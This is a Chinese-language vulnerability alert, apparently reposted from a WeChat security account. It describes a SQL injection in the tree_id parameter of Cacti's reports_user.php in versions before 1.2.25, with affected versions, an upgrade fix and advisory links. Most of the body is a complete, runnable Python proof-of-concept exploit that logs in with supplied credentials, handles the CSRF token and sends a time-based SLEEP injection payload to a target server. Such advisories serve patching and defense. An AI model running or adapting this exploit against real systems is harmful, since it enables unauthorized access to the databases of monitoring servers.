【漏洞预警】Cacti<1.2.25 reports_user.php SQL注入漏洞

admin 2023年9月8日01:59:07评论30 views字数 2101阅读7分0秒阅读模式

【漏洞预警】Cacti<1.2.25 reports_user.php SQL注入漏洞

漏洞描述:
Cacti 是一个开源的操作监控和故障管理框架。
Cacti 1.2.25之前版本中由于 reports_user.php 中的 ajax_get_branches 函数未对用户可控的 tree_id 进行过滤,具有 Cacti 登录权限的攻击者可向 /cacti/reports_user.php Api节点发送包含恶意 tree_id 参数的http请求获取数据库中任意数据。如果 Cacti 开启访客模式,攻击者无需身份认证即可利用此漏洞。

影响范围:

Cacti[1.0.0, 1.2.25)

cacti影响所有版本

【漏洞预警】Cacti<1.2.25 reports_user.php SQL注入漏洞

PoC

import argparse
import requests
import sys
import urllib3

#import os
#os.environ['http_proxy'] = 'http://localhost:8080'

sleep_time = 10
payload = f"""1));SELECT SLEEP({sleep_time})-- -"""


def get_csrf_token():
    url = f"{target}/index.php"
    
    res_body = session.get(url).content.decode()
    csrf_token = res_body.split('var csrfMagicToken = "')[1].split('"')[0]
    if not csrf_token:
        print("[-] Unable to find csrf_token")
        sys.exit()
    return csrf_token

def login(username,password):
    login_url = f"{target}/index.php"

    csrf_token = get_csrf_token()
    data = {'action':'login','login_username':username,'login_password':password,'__csrf_magic':csrf_token}
    
    res_body = session.post(login_url,data=data).content.decode()
    
    if 'You are now logged into <' in res_body:
        print('[+] Login successful!')
    else:
        print('[-] Login failed. Check your credentials')
        sys.exit()

def exploit():
    url = f"{target}/reports_user.php"

    params = {
        'action':'ajax_get_branches',
        'tree_id':payload
    }

    print('[+] Sending payload...')
    print(f"[+] Payload: {payload}")
    session.get(url,params=params)
    
if __name__=='__main__':
    urllib3.disable_warnings()
    parser = argparse.ArgumentParser(description="Cacti 1.2.24 - reports_user.php 'tree_id' SQL Injection (authenticated)")
    parser.add_argument('-t','--target',help='',required=True)
    parser.add_argument('-u','--username',help='',required=True)
    parser.add_argument('-p','--password',help='',required=True)
    args = parser.parse_args()
    
    username = args.username
    password = args.password
    target = args.target
    session = requests.Session()

    login(username,password)
    exploit()

修复方案:

升级Cacti到 1.2.25 或更高版本

参考链接:https://forums.cacti.net/viewtopic.php?p=292797

参考链接:
https://github.com/Cacti/cacti/security/advisories/GHSA-gj95-7xr8-9p7g

https://forums.cacti.net/viewtopic.php?p=292797#p292797

原文始发于微信公众号(飓风网络安全):【漏洞预警】Cacti<1.2.25 reports_user.php SQL注入漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年9月8日01:59:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【漏洞预警】Cacti<1.2.25 reports_user.php SQL注入漏洞https://cn-sec.com/archives/2016821.html

发表评论

匿名网友 填写信息